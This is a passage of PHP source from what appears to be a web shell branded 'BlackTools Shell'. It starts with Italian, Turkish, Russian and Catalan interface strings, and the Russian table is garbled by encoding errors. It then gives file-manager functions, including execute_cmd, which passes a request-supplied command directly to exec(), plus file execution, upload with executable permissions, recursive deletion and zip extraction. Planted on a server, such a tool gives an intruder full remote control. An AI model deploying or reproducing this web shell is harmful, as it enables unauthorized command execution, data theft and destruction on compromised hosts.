1754 $it3['SelInverse'] = 'Inverti selezione';
1755 $it3['Selected_s'] = 'selezionato';
1756 $it3['Total'] = 'totale';
1757 $it3['Partition'] = 'Partizione';
1758 $it3['RenderTime'] = 'Tempo di generazione';
1759 $it3['Seconds'] = 'sec';
1760 $it3['ErrorReport'] = 'Error Reporting';
1761
1762 // Italian - by Gianni
1763 $it4['Version'] = 'Versione';
1764 $it4['DocRoot'] = 'Root documenti';
1765 $it4['FLRoot'] = 'Root file manager';
1766 $it4['Name'] = 'Nome';
1767 $it4['And'] = 'e';
1768 $it4['Enter'] = 'Entra';
1769 $it4['Send'] = 'Invia';
1770 $it4['Refresh'] = 'Aggiorna';
1771 $it4['SaveConfig'] = 'Salva configurazioni';
1772 $it4['SavePass'] = 'Salva password';
1773 $it4['SaveFile'] = 'Salva file';
1774 $it4['Save'] = 'Salva';
1775 $it4['Leave'] = 'Esci';
1776 $it4['Edit'] = 'Modifica';
1777 $it4['View'] = 'Vedi';
1778 $it4['Config'] = 'Preferenze';
1779 $it4['Ren'] = 'Rinomina';
1780 $it4['Rem'] = 'Cancella';
1781 $it4['Compress'] = 'Comprimi';
1782 $it4['Decompress'] = 'Decomprimi';
1783 $it4['ResolveIDs'] = 'Risolvi IDs';
1784 $it4['Move'] = 'Sposta';
1785 $it4['Copy'] = 'Copia';
1786 $it4['ServerInfo'] = 'Versione PHP';
1787 $it4['CreateDir'] = 'Crea directory';
1788 $it4['CreateArq'] = 'Crea file';
1789 $it4['ExecCmd'] = 'Esegui comando';
1790 $it4['Upload'] = 'Upload';
1791 $it4['UploadEnd'] = 'Upload terminato';
1792 $it4['Perm'] = 'Perm';
1793 $it4['Perms'] = 'Permessi';
1794 $it4['Owner'] = 'Proprietario';
1795 $it4['Group'] = 'Gruppo';
1796 $it4['Other'] = 'Altro';
1797 $it4['Size'] = 'Dimensione';
1798 $it4['Date'] = 'Data';
1799 $it4['Type'] = 'Tipo';
1800 $it4['Free'] = 'liberi';
1801 $it4['Shell'] = 'Shell';
1802 $it4['Read'] = 'Lettura';
1803 $it4['Write'] = 'Scrittura';
1804 $it4['Exec'] = 'Esecuzione';
1805 $it4['Apply'] = 'Applica';
1806 $it4['StickyBit'] = 'Sticky Bit';
1807 $it4['Pass'] = 'Password';
1808 $it4['Lang'] = 'Lingua';
1809 $it4['File'] = 'File';
1810 $it4['File_s'] = 'files';
1811 $it4['Dir_s'] = 'directory';
1812 $it4['To'] = 'in';
1813 $it4['Destination'] = 'Destinazione';
1814 $it4['Configurations'] = 'Preferenze';
1815 $it4['JSError'] = 'Errore JavaScript';
1816 $it4['NoSel'] = 'Non ci sono elementi selezionati';
1817 $it4['SelDir'] = 'Seleziona una directory di destinazione a sinistra';
1818 $it4['TypeDir'] = 'Inserisci il nome della directory';
1819 $it4['TypeArq'] = 'Inserisci il nome del file';
1820 $it4['TypeCmd'] = 'Inserisci il comando';
1821 $it4['TypeArqComp'] = 'Inserisci il nome del file e tipo di compressione\\n(.Zip .Tar .Bzip .Gzip)';
1822 $it4['RemSel'] = 'Cancella gli elementi selezionati';
1823 $it4['NoDestDir'] = 'Seleziona una directory di destinazione';
1824 $it4['DestEqOrig'] = 'Origine e destinazione sono uguali';
1825 $it4['InvalidDest'] = 'Directory di destinazione non valida';
1826 $it4['NoNewPerm'] = 'Nuovi permessi non impostati';
1827 $it4['CopyTo'] = 'Copia in';
1828 $it4['MoveTo'] = 'Sposta in';
1829 $it4['AlterPermTo'] = 'Cambia permessi in';
1830 $it4['ConfExec'] = 'Conferma esecuzione';
1831 $it4['ConfRem'] = 'Conferma eliminazione';
1832 $it4['EmptyDir'] = 'Directory Vuota';
1833 $it4['IOError'] = 'Errore I/O';
1834 $it4['FileMan'] = 'BlackTools Shell';
1835 $it4['TypePass'] = 'Inserisci la password';
1836 $it4['InvPass'] = 'Password non valida';
1837 $it4['ReadDenied'] = 'Accesso in lettura negato';
1838 $it4['FileNotFound'] = 'File non trovato';
1839 $it4['AutoClose'] = 'Chiudi al termine';
1840 $it4['OutDocRoot'] = 'File fuori dalla Root documenti';
1841 $it4['NoCmd'] = 'Errore: comando non informato';
1842 $it4['ConfTrySave'] = 'File senza permessi di scrittura.\\nRiprova a salvare';
1843 $it4['ConfSaved'] = 'Preferenze salvate';
1844 $it4['PassSaved'] = 'Password salvata';
1845 $it4['FileDirExists'] = 'Il file o la directory esistono già ';
1846 $it4['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
1847 $it4['NoReturn'] = 'Nessun ritorno';
1848 $it4['FileSent'] = 'File inviato';
1849 $it4['SpaceLimReached'] = 'Raggiunto spazio limite';
1850 $it4['InvExt'] = 'Estensione non valida';
1851 $it4['FileNoOverw'] = 'Il file non può essere sovrascritto';
1852 $it4['FileOverw'] = 'File sovrascritto';
1853 $it4['FileIgnored'] = 'File ignorato';
1854 $it4['ChkVer'] = 'Controlla aggiornamenti';
1855 $it4['ChkVerAvailable'] = 'Nuova versione, click qui per effettuare il download!';
1856 $it4['ChkVerNotAvailable'] = 'Nessuna nuova versione';
1857 $it4['ChkVerError'] = 'Errore di connessione';
1858 $it4['Website'] = 'Sito';
1859 $it4['SendingForm'] = 'Invio files, attendere...';
1860 $it4['NoFileSel'] = 'Nessun file selezionato';
1861 $it4['SelAll'] = 'Tutti';
1862 $it4['SelNone'] = 'Nessuno';
1863 $it4['SelInverse'] = 'Inverti';
1864 $it4['Selected_s'] = 'selezionati';
1865 $it4['Total'] = 'totale';
1866 $it4['Partition'] = 'Partizione';
1867 $it4['RenderTime'] = 'Tempo per il render di questa pagina';
1868 $it4['Seconds'] = 'sec';
1869 $it4['ErrorReport'] = 'Report errori';
1870
1871 // Turkish - by Necdet Yazilimlari
1872 $tr['Version'] = 'Versiyon';
1873 $tr['DocRoot'] = 'Kok dosya';
1874 $tr['FLRoot'] = 'Kok dosya yoneticisi';
1875 $tr['Name'] = 'Isim';
1876 $tr['And'] = 've';
1877 $tr['Enter'] = 'Giris';
1878 $tr['Send'] = 'Yolla';
1879 $tr['Refresh'] = 'Yenile';
1880 $tr['SaveConfig'] = 'Ayarlari kaydet';
1881 $tr['SavePass'] = 'Parolayi kaydet';
1882 $tr['SaveFile'] = 'Dosyayi kaydet';
1883 $tr['Save'] = 'Kaydet';
1884 $tr['Leave'] = 'Ayril';
1885 $tr['Edit'] = 'Duzenle';
1886 $tr['View'] = 'Goster';
1887 $tr['Config'] = 'Yapilandirma';
1888 $tr['Ren'] = 'Yeniden adlandir';
1889 $tr['Rem'] = 'Sil';
1890 $tr['Compress'] = '.Zip';
1891 $tr['Decompress'] = '.ZipCoz';
1892 $tr['ResolveIDs'] = 'Kimlikleri coz';
1893 $tr['Move'] = 'Tasi';
1894 $tr['Copy'] = 'Kopyala';
1895 $tr['ServerInfo'] = 'Sunucu Bilgisi';
1896 $tr['CreateDir'] = 'Dizin olustur';
1897 $tr['CreateArq'] = 'Dosya olusutur';
1898 $tr['ExecCmd'] = 'Komut calistir';
1899 $tr['Upload'] = 'Dosya yukle';
1900 $tr['UploadEnd'] = 'Yukleme tamamlandi';
1901 $tr['Perm'] = 'Izinler';
1902 $tr['Perms'] = 'Izinler';
1903 $tr['Owner'] = 'Sahip';
1904 $tr['Group'] = 'Grup';
1905 $tr['Other'] = 'Diger';
1906 $tr['Size'] = 'Boyut';
1907 $tr['Date'] = 'Tarih';
1908 $tr['Type'] = 'Tip';
1909 $tr['Free'] = 'Bos';
1910 $tr['Shell'] = 'Kabuk';
1911 $tr['Read'] = 'Oku';
1912 $tr['Write'] = 'Yaz';
1913 $tr['Exec'] = 'Calistir';
1914 $tr['Apply'] = 'Uygula';
1915 $tr['StickyBit'] = 'Sabit bit';
1916 $tr['Pass'] = 'Parola';
1917 $tr['Lang'] = 'Dil';
1918 $tr['File'] = 'Dosya';
1919 $tr['File_s'] = 'Dosya(lar)';
1920 $tr['Dir_s'] = 'Dizin(ler)';
1921 $tr['To'] = 'icin';
1922 $tr['Destination'] = 'Hedef';
1923 $tr['Configurations'] = 'Yapilandirmalar';
1924 $tr['JSError'] = 'JavaScript hatasi';
1925 $tr['NoSel'] = 'Secilen oge yok';
1926 $tr['SelDir'] = 'Soldaki hedef dizin agaci secin';
1927 $tr['TypeDir'] = 'Dizin adini girin';
1928 $tr['TypeArq'] = 'Dosya adini girin';
1929 $tr['TypeCmd'] = 'Komut girin';
1930 $tr['TypeArqComp'] = 'Dosya ismini yazdiktan sonra sonuna .zip ekleyin';
1931 $tr['RemSel'] = 'Secili ogeleri sil';
1932 $tr['NoDestDir'] = 'Secili dizin yok';
1933 $tr['DestEqOrig'] = 'Kokenli ve esit gidis rehberi';
1934 $tr['InvalidDest'] = 'Hedef dizin gecersiz';
1935 $tr['NoNewPerm'] = 'Izinler uygun degil';
1936 $tr['CopyTo'] = 'Kopya icin';
1937 $tr['MoveTo'] = 'Tasi icin';
1938 $tr['AlterPermTo'] = 'Permission secin';
1939 $tr['ConfExec'] = 'Yapilandirmayi onayla';
1940 $tr['ConfRem'] = 'Simeyi onayla';
1941 $tr['EmptyDir'] = 'Dizin bos';
1942 $tr['IOError'] = 'Hata';
1943 $tr['FileMan'] = 'BlackTools Shell';
1944 $tr['TypePass'] = 'Parolayi girin';
1945 $tr['InvPass'] = 'Gecersiz parola';
1946 $tr['ReadDenied'] = 'Okumaya erisim engellendi';
1947 $tr['FileNotFound'] = 'Dosya bulunamadi';
1948 $tr['AutoClose'] = 'Otomatik kapat';
1949 $tr['OutDocRoot'] = 'Kok klasor disindaki dosya';
1950 $tr['NoCmd'] = 'Hata: Komut haberdar degil';
1951 $tr['ConfTrySave'] = 'Dosya yazma izniniz yok. Yine de kaydetmeyi deneyebilirsiniz.';
1952 $tr['ConfSaved'] = 'Ayarlar kaydedildi';
1953 $tr['PassSaved'] = 'Parola kaydedildi';
1954 $tr['FileDirExists'] = 'Dosya veya dizin zaten var';
1955 $tr['NoPhpinfo'] = 'Php fonksiyon bilgisi devre disi';
1956 $tr['NoReturn'] = 'Deger dondurmuyor';
1957 $tr['FileSent'] = 'Dosya gonderildi';
1958 $tr['SpaceLimReached'] = 'Disk limitine ulasildi';
1959 $tr['InvExt'] = 'Gecersiz uzanti';
1960 $tr['FileNoOverw'] = 'Dosya degistirilemiyor';
1961 $tr['FileOverw'] = 'Dosya degistiribiliyor';
1962 $tr['FileIgnored'] = 'Dosya kabul edildi';
1963 $tr['ChkVer'] = 'Yeni versiyonu kontrol et';
1964 $tr['ChkVerAvailable'] = 'Yeni surum bulundu. Indirmek icin buraya tiklayin.';
1965 $tr['ChkVerNotAvailable'] = 'Yeni surum bulunamadi.';
1966 $tr['ChkVerError'] = 'Baglanti hatasi';
1967 $tr['Website'] = 'Website';
1968 $tr['SendingForm'] = 'Dosyalar gonderiliyor, lutfen bekleyin';
1969 $tr['NoFileSel'] = 'Secili dosya yok';
1970 $tr['SelAll'] = 'Hepsi';
1971 $tr['SelNone'] = 'Hicbiri';
1972 $tr['SelInverse'] = 'Ters';
1973 $tr['Selected_s'] = 'Secili oge(ler)';
1974 $tr['Total'] = 'Toplam';
1975 $tr['Partition'] = 'Bolme';
1976 $tr['RenderTime'] = 'Olusturuluyor';
1977 $tr['Seconds'] = 'Saniye';
1978 $tr['ErrorReport'] = 'Hata raporu';
1979
1980 // РоÑÑÐ¸Ñ - Евгений Рашев
1981 $ru['Version']='ВерÑиÑ';
1982 $ru['DocRoot']='Документ Root ';
1983 $ru['FLRoot']='Файловый менеджер';
1984 $ru['Name']='ИмÑ';
1985 $ru['And']='и';
1986 $ru['Enter']='Enter';
1987 $ru['Send']='Отправить';
1988 $ru['Refresh']='Обновить';
1989 $ru['SaveConfig']='Сохранить конфигурацию';
1990 $ru['SavePass']='Сохранить пароль';
1991 $ru['SaveFile']='Сохранить файл ';
1992 $ru['Save']='Сохранить';
1993 $ru['Leave']='ОÑтавь';
1994 $ru['Edit']='Изменить';
1995 $ru['View']='ПроÑмотр';
1996 $ru['Config']='ÐаÑтройки';
1997 $ru['Ren']='Переименовать';
1998 $ru['Rem']='Удалить';
1999 $ru['Compress']='Сжать';
2000 $ru['Decompress']='РаÑпаковать';
2001 $ru['ResolveIDs']='ОпределÑть id';
2002 $ru['Move']='ПеремеÑтить';
2003 $ru['Copy']='Копировать';
2004 $ru['ServerInfo']='Инфо о Ñервере';
2005 $ru['CreateDir']='Создать папку';
2006 $ru['CreateArq']='Создайте файл ';
2007 $ru['ExecCmd']='Выполнить';
2008 $ru['Upload']='Загрузить';
2009 $ru['UploadEnd']='Загружено';
2010 $ru['Perm']='Права';
2011 $ru['Perms']='РазрешениÑ';
2012 $ru['Owner']='Владелец';
2013 $ru['Group']='Группа';
2014 $ru['Other']='Другие';
2015 $ru['Size']='Размер';
2016 $ru['Date']='Дата';
2017 $ru['Type']='Тип';
2018 $ru['Free']='Свободно';
2019 $ru['Shell']='Shell';
2020 $ru['Read']='Читать';
2021 $ru['Write']='ПиÑать';
2022 $ru['Exec']='ВыполнÑть';
2023 $ru['Apply']='Применить';
2024 $ru['StickyBit']='StickyBit';
2025 $ru['Pass']='Пароль';
2026 $ru['Lang']='Язык';
2027 $ru['File']='Файл';
2028 $ru['File_s']='Файл..';
2029 $ru['Dir_s']='Пап..';
2030 $ru['To']='в';
2031 $ru['Destination']='Ðазначение';
2032 $ru['Configurations']='КонфигурациÑ';
2033 $ru['JSError']='Ошибка JavaScript';
2034 $ru['NoSel']='нет выбранных Ñлементов';
2035 $ru['SelDir']='Выберите папку Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° левом дереве ';
2036 $ru['TypeDir']='Введите Ð¸Ð¼Ñ ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³Ð° ';
2037 $ru['TypeArq']='Введите Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°';
2038 $ru['TypeCmd']='Введите команду ';
2039 $ru['TypeArqComp']='Введите Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° ,раÑширение\\n Ñто позволит определить тип ÑÐ¶Ð°Ñ‚Ð¸Ñ \\n Пример:.. \\n nome.zip \\n nome.tar \\n nome.bzip \\n nome.gzip ';
2040 $ru['RemSel']='Удалить выбранные Ñлементы';
2041 $ru['NoDestDir']='нет выбранного каталога назначениÑ';
2042 $ru['DestEqOrig']='ПроиÑхождение и назначение каталогов равны ';
2043 $ru['InvalidDest']='Ðазначение каталога недейÑтвительно';
2044 $ru['NoNewPerm']='Ðовые Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ðµ уÑтановлены';
2045 $ru['CopyTo']='Копировать в ';
2046 $ru['MoveTo']='ПеремеÑтить в';
2047 $ru['AlterPermTo']='Изменение разрешений в ';
2048 $ru['ConfExec']='Подтвердить ВЫПОЛÐИТЬ ';
2049 $ru['ConfRem']='Подтвердить УДÐЛЕÐИЕ';
2050 $ru['EmptyDir']='ПуÑтой каталог ';
2051 $ru['IOError']='I/O Error';
2052 $ru['FileMan']='BlackTools Shell';
2053 $ru['TypePass']='Введите пароль';
2054 $ru['InvPass']='Ðеверный пароль';
2055 $ru['ReadDenied']='ДоÑтуп запрещен ';
2056 $ru['FileNotFound']='Файл не найден';
2057 $ru['AutoClose']='Закрыть полноÑтью ';
2058 $ru['OutDocRoot']='Файлы за пределами DOCUMENT_ROOT';
2059 $ru['NoCmd']='Ошибка: Ðе Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ð°Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð°';
2060 $ru['ConfTrySave']='Файл без прав на запиÑÑŒ. \\n Сохранить в любом Ñлучае. ';
2061 $ru['ConfSaved']='ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñохранена';
2062 $ru['PassSaved']='Пароль Ñохранен';
2063 $ru['FileDirExists']='Файл или каталог уже ÑущеÑтвует';
2064 $ru['NoPhpinfo']='Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ PHPInfo отключена';
2065 $ru['NoReturn']='Ðет возврата';
2066 $ru['FileSent']='Файл отправлен';
2067 $ru['SpaceLimReached']='ДоÑтигнут предел ПроÑтранÑтва';
2068 $ru['InvExt']='Ðеверное раÑширение';
2069 $ru['FileNoOverw']='Файл не может быть перезапиÑан ';
2070 $ru['FileOverw']='Файл перезапиÑываетÑÑ';
2071 $ru['FileIgnored']='Файл игнорируетÑÑ';
2072 $ru['ChkVer']='Проверить обновление';
2073 $ru['ChkVerAvailable']=' ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑиÑ, нажмите здеÑÑŒ, чтобы начать загрузку! ';
2074 $ru['ChkVerNotAvailable']='Ðет новой верÑии. :(';
2075 $ru['ChkVerError']='Ошибка подключениÑ. ';
2076 $ru['Website']='Сайт';
2077 $ru['SendingForm']='Отправка файлов, пожалуйÑта, подождите ';
2078 $ru['NoFileSel']='Ðет выбранных файлов';
2079 $ru['SelAll']='Выделить вÑе';
2080 $ru['SelNone']='Отмена';
2081 $ru['SelInverse']='Обратить';
2082 $ru['Selected_s']='Выбран';
2083 $ru['Total']='Ð’Ñего';
2084 $ru['Partition']='Раздел';
2085 $ru['RenderTime']='Скрипт выполнен за';
2086 $ru['Seconds']='Секунд';
2087 $ru['ErrorReport']='Отчет об ошибках';
2088
2089 // Catalan - by Pere Borràs AKA @Norl
2090 $cat['Version'] = 'Versió';
2091 $cat['DocRoot'] = 'Arrel del programa';
2092 $cat['FLRoot'] = 'Arrel de l`administrador d`arxius';
2093 $cat['Name'] = 'Nom';
2094 $cat['And'] = 'i';
2095 $cat['Enter'] = 'Entrar';
2096 $cat['Send'] = 'Enviar';
2097 $cat['Refresh'] = 'Refrescar';
2098 $cat['SaveConfig'] = 'Desar configuracions';
2099 $cat['SavePass'] = 'Desar clau';
2100 $cat['SaveFile'] = 'Desar Arxiu';
2101 $cat['Save'] = 'Desar';
2102 $cat['Leave'] = 'Sortir';
2103 $cat['Edit'] = 'Editar';
2104 $cat['View'] = 'Mirar';
2105 $cat['Config'] = 'Config.';
2106 $cat['Ren'] = 'Canviar nom';
2107 $cat['Rem'] = 'Esborrar';
2108 $cat['Compress'] = 'Comprimir';
2109 $cat['Decompress'] = 'Descomprimir';
2110 $cat['ResolveIDs'] = 'Resoldre IDs';
2111 $cat['Move'] = 'Moure';
2112 $cat['Copy'] = 'Copiar';
2113 $cat['ServerInfo'] = 'Info del Server';
2114 $cat['CreateDir'] = 'Crear Directori';
2115 $cat['CreateArq'] = 'Crear Arxiu';
2116 $cat['ExecCmd'] = 'Executar Comandament';
2117 $cat['Upload'] = 'Pujar';
2118 $cat['UploadEnd'] = 'Pujat amb èxit';
2119 $cat['Perm'] = 'Perm';
2120 $cat['Perms'] = 'Permisos';
2121 $cat['Owner'] = 'Propietari';
2122 $cat['Group'] = 'Grup';
2123 $cat['Other'] = 'Altre';
2124 $cat['Size'] = 'Tamany';
2125 $cat['Date'] = 'Data';
2126 $cat['Type'] = 'Tipus';
2127 $cat['Free'] = 'lliure';
2128 $cat['Shell'] = 'Executar';
2129 $cat['Read'] = 'Llegir';
2130 $cat['Write'] = 'Escriure';
2131 $cat['Exec'] = 'Executar';
2132 $cat['Apply'] = 'Aplicar';
2133 $cat['StickyBit'] = 'Sticky Bit';
2134 $cat['Pass'] = 'Clau';
2135 $cat['Lang'] = 'Llenguatje';
2136 $cat['File'] = 'Arxius';
2137 $cat['File_s'] = 'arxiu(s)';
2138 $cat['Dir_s'] = 'directori(s)';
2139 $cat['To'] = 'a';
2140 $cat['Destination'] = 'DestÃ';
2141 $cat['Configurations'] = 'Configuracions';
2142 $cat['JSError'] = 'Error de JavaScript';
2143 $cat['NoSel'] = 'No hi ha items seleccionats';
2144 $cat['SelDir'] = 'Seleccioneu el directori de destà a l`arbre de la dreta';
2145 $cat['TypeDir'] = 'Escrigui el nom del directori';
2146 $cat['TypeArq'] = 'Escrigui el nom de l`arxiu';
2147 $cat['TypeCmd'] = 'Escrigui el comandament';
2148 $cat['TypeArqComp'] = 'Escrigui el nombre del directorio.\\nL`extensió definirà el tipus de compressió.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip';
2149 $cat['RemSel'] = 'ESBORRAR items seleccionats';
2150 $cat['NoDestDir'] = 'No s`ha seleccionat el directori de destÃ';
2151 $cat['DestEqOrig'] = 'L`origen i el destà són iguals';
2152 $cat['InvalidDest'] = 'El destà del directori és invà lid';
2153 $cat['NoNewPerm'] = 'Els permisos no s`han pogut establir';
2154 $cat['CopyTo'] = 'COPIAR a';
2155 $cat['MoveTo'] = 'MOURE a';
2156 $cat['AlterPermTo'] = 'CAMBIAR PERMISOS a';
2157 $cat['ConfExec'] = 'Confirmar EXECUCIÓ';
2158 $cat['ConfRem'] = 'Confirmar ESBORRAT';
2159 $cat['EmptyDir'] = 'Directori buit';
2160 $cat['IOError'] = 'Error I/O';
2161 $cat['FileMan'] = 'BlackTools Shell';
2162 $cat['TypePass'] = 'Escrigui la clau';
2163 $cat['InvPass'] = 'Clau invà lida';
2164 $cat['ReadDenied'] = 'Accés de lectura denegat';
2165 $cat['FileNotFound'] = 'Arxiu no trobat';
2166 $cat['AutoClose'] = 'Tancar al completar';
2167 $cat['OutDocRoot'] = 'Arxiu abans de DOCUMENT_ROOT';
2168 $cat['NoCmd'] = 'Error: No s`ha escrit cap comandament';
2169 $cat['ConfTrySave'] = 'Arxiu sense permisos d`escriptura.\\nIntenteu desar a un altre lloc';
2170 $cat['ConfSaved'] = 'Configuració Desada';
2171 $cat['PassSaved'] = 'Clau desada';
2172 $cat['FileDirExists'] = 'Arxiu o directori ja existent';
2173 $cat['NoPhpinfo'] = 'Funció phpinfo() no habilitada';
2174 $cat['NoReturn'] = 'sense retorn';
2175 $cat['FileSent'] = 'Arxiu enviat';
2176 $cat['SpaceLimReached'] = 'LÃmit d`espaci al disc assolit';
2177 $cat['InvExt'] = 'Extensió no và lida';
2178 $cat['FileNoOverw'] = 'L`arxiu no ha pogut ser sobreescrit';
2179 $cat['FileOverw'] = 'Arxiu sobreescrit';
2180 $cat['FileIgnored'] = 'Arxiu ignorat';
2181 $cat['ChkVer'] = 'Revisar les actualitzacions';
2182 $cat['ChkVerAvailable'] = 'Nova versió, feu clic aquà per descarregar';
2183 $cat['ChkVerNotAvailable'] = 'La vostra versió és la més recent.';
2184 $cat['ChkVerError'] = 'Error de connexió.';
2185 $cat['Website'] = 'Lloc Web';
2186 $cat['SendingForm'] = 'Enviant arxius, esperi';
2187 $cat['NoFileSel'] = 'Cap arxiu seleccionat';
2188 $cat['SelAll'] = 'Tots';
2189 $cat['SelNone'] = 'Cap';
2190 $cat['SelInverse'] = 'Invers';
2191 $cat['Selected_s'] = 'seleccionat';
2192 $cat['Total'] = 'total';
2193 $cat['Partition'] = 'Partició';
2194 $cat['RenderTime'] = 'Generat en';
2195 $cat['Seconds'] = 'seg';
2196 $cat['ErrorReport'] = 'Informe d`error';
2197
2198 $lang_ = $$lang;
2199 if (isset($lang_[$tag])) return html_encode($lang_[$tag]);
2200 //else return "[$tag]"; // So we can know what is missing
2201 return $en[$tag];
2202}
2203// +--------------------------------------------------
2204// | File System
2205// +--------------------------------------------------
2206function total_size($arg) {
2207 $total = 0;
2208 if (file_exists($arg)) {
2209 if (is_dir($arg)) {
2210 $handle = opendir($arg);
2211 while($aux = readdir($handle)) {
2212 if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);
2213 }
2214 @closedir($handle);
2215 } else $total = filesize($arg);
2216 }
2217 return $total;
2218}
2219function total_delete($arg) {
2220 if (file_exists($arg)) {
2221 @chmod($arg,0755);
2222 if (is_dir($arg)) {
2223 $handle = opendir($arg);
2224 while($aux = readdir($handle)) {
2225 if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
2226 }
2227 @closedir($handle);
2228 rmdir($arg);
2229 } else unlink($arg);
2230 }
2231}
2232function total_copy($orig,$dest) {
2233 $ok = true;
2234 if (file_exists($orig)) {
2235 if (is_dir($orig)) {
2236 mkdir($dest,0755);
2237 $handle = opendir($orig);
2238 while(($aux = readdir($handle))&&($ok)) {
2239 if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);
2240 }
2241 @closedir($handle);
2242 } else $ok = copy((string)$orig,(string)$dest);
2243 }
2244 return $ok;
2245}
2246function total_move($orig,$dest) {
2247 // Just why doesn't it has a MOVE alias?!
2248 return rename((string)$orig,(string)$dest);
2249}
2250function download(){
2251 global $current_dir,$filename;
2252 $file = $current_dir.$filename;
2253 if(file_exists($file)){
2254 $is_denied = false;
2255 foreach($download_ext_filter as $key=>$ext){
2256 if (eregi($ext,$filename)){
2257 $is_denied = true;
2258 break;
2259 }
2260 }
2261 if (!$is_denied){
2262 $size = filesize($file);
2263 header("Content-Type: application/save");
2264 header("Content-Length: $size");
2265 header("Content-Disposition: attachment; filename=\"$filename\"");
2266 header("Content-Transfer-Encoding: binary");
2267 if ($fh = fopen("$file", "rb")){
2268 fpassthru($fh);
2269 fclose($fh);
2270 } else alert(et('ReadDenied').": ".$file);
2271 } else alert(et('ReadDenied').": ".$file);
2272 } else alert(et('FileNotFound').": ".$file);
2273}
2274function execute_cmd(){
2275 global $cmd;
2276 header("Content-type: text/plain");
2277 if (strlen($cmd)){
2278 echo "# ".$cmd."\n";
2279 exec($cmd,$mat);
2280 if (count($mat)) echo trim(implode("\n",$mat));
2281 else echo "exec(\"$cmd\") ".et('NoReturn')."...";
2282 } else echo et('NoCmd');
2283}
2284function execute_file(){
2285 global $current_dir,$filename;
2286 header("Content-type: text/plain");
2287 $file = $current_dir.$filename;
2288 if(file_exists($file)){
2289 echo "# ".$file."\n";
2290 exec($file,$mat);
2291 if (count($mat)) echo trim(implode("\n",$mat));
2292 } else alert(et('FileNotFound').": ".$file);
2293}
2294function save_upload($temp_file,$filename,$dir_dest) {
2295 global $upload_ext_filter;
2296 $filename = remove_special_chars($filename);
2297 $file = $dir_dest.$filename;
2298 $filesize = filesize($temp_file);
2299 $is_denied = false;
2300 foreach($upload_ext_filter as $key=>$ext){
2301 if (eregi($ext,$filename)){
2302 $is_denied = true;
2303 break;
2304 }
2305 }
2306 if (!$is_denied){
2307 if (!check_limit($filesize)){
2308 if (file_exists($file)){
2309 if (unlink($file)){
2310 if (copy($temp_file,$file)){
2311 @chmod($file,0755);
2312 $out = 6;
2313 } else $out = 2;
2314 } else $out = 5;
2315 } else {
2316 if (copy($temp_file,$file)){
2317 @chmod($file,0755);
2318 $out = 1;
2319 } else $out = 2;
2320 }
2321 } else $out = 3;
2322 } else $out = 4;
2323 return $out;
2324}
2325function zip_extract(){
2326 global $cmd_arg,$current_dir,$islinux;
2327 $zip = zip_open($current_dir.$cmd_arg);
2328 if ($zip) {
2329 while ($zip_entry = zip_read($zip)) {
2330 if (zip_entry_filesize($zip_entry)) {
2331 $complete_path = $path.dirname(zip_entry_name($zip_entry));
2332 $complete_name = $path.zip_entry_name($zip_entry);
2333 if(!file_exists($complete_path)) {
2334 $tmp = '';
2335 foreach(explode('/',$complete_path) AS $k) {
2336 $tmp .= $k.'/';
2337 if(!file_exists($tmp)) {
2338 @mkdir($current_dir.$tmp, 0755);
2339 }
2340 }
2341 }
2342 if (zip_entry_open($zip, $zip_entry, "r")) {
2343 if ($fd = fopen($current_dir.$complete_name, 'w')){
2344 fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
2345 fclose($fd);
2346 } else echo "fopen($current_dir.$complete_name) error<br>";
2347 zip_entry_close($zip_entry);
2348 } else echo "zip_entry_open($zip,$zip_entry) error<br>";
2349 }
2350 }
2351 zip_close($zip);
2352 }
2353}
2354// +--------------------------------------------------
2355// | Data Formating
2356// +--------------------------------------------------
2357function html_encode($str){
2358 global $charSet;
2359 $str = preg_replace(array('/&/', '/</', '/>/', '/"/'), array('&', '<', '>', '"'), $str); // Bypass PHP to allow any charset!!
2360 $str = htmlentities($str, ENT_QUOTES, $charSet, false);
2361 return $str;
2362}
2363function rep($x,$y){
2364 if ($x) {
2365 $aux = "";
2366 for ($a=1;$a<=$x;$a++) $aux .= $y;
2367 return $aux;
2368 } else return "";
2369}
2370function str_zero($arg1,$arg2){
2371 if (strstr($arg1,"-") == false){
2372 $aux = intval($arg2) - strlen($arg1);
2373 if ($aux) return rep($aux,"0").$arg1;
2374 else return $arg1;
2375 } else {
2376 return "[$arg1]";
2377 }
2378}
2379function replace_double($sub,$str){
2380 $out=str_replace($sub.$sub,$sub,$str);
2381 while ( strlen($out) != strlen($str) ){
2382 $str=$out;
2383 $out=str_replace($sub.$sub,$sub,$str);
2384 }
2385 return $out;
2386}
2387function remove_special_chars($str){
2388 $str = trim($str);
2389 $str = strtr($str,"¥µÀÃÂÃÄÅÆÇÈÉÊËÌÃÃŽÃÃÑÒÓÔÕÖØÙÚÛÜÃßà áâãäåæçèéêëìÃîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?",
2390 "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
2391 $str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
2392 return $str;
2393}
2394function format_path($str){
2395 global $islinux;
2396 $str = trim($str);
2397 $str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));
2398 $done = false;
2399 while (!$done) {
2400 $str2 = str_replace("//","/",$str);
2401 if (strlen($str) == strlen($str2)) $done = true;
2402 else $str = $str2;
2403 }
2404 $tam = strlen($str);
2405 if ($tam){
2406 $last_char = $tam - 1;
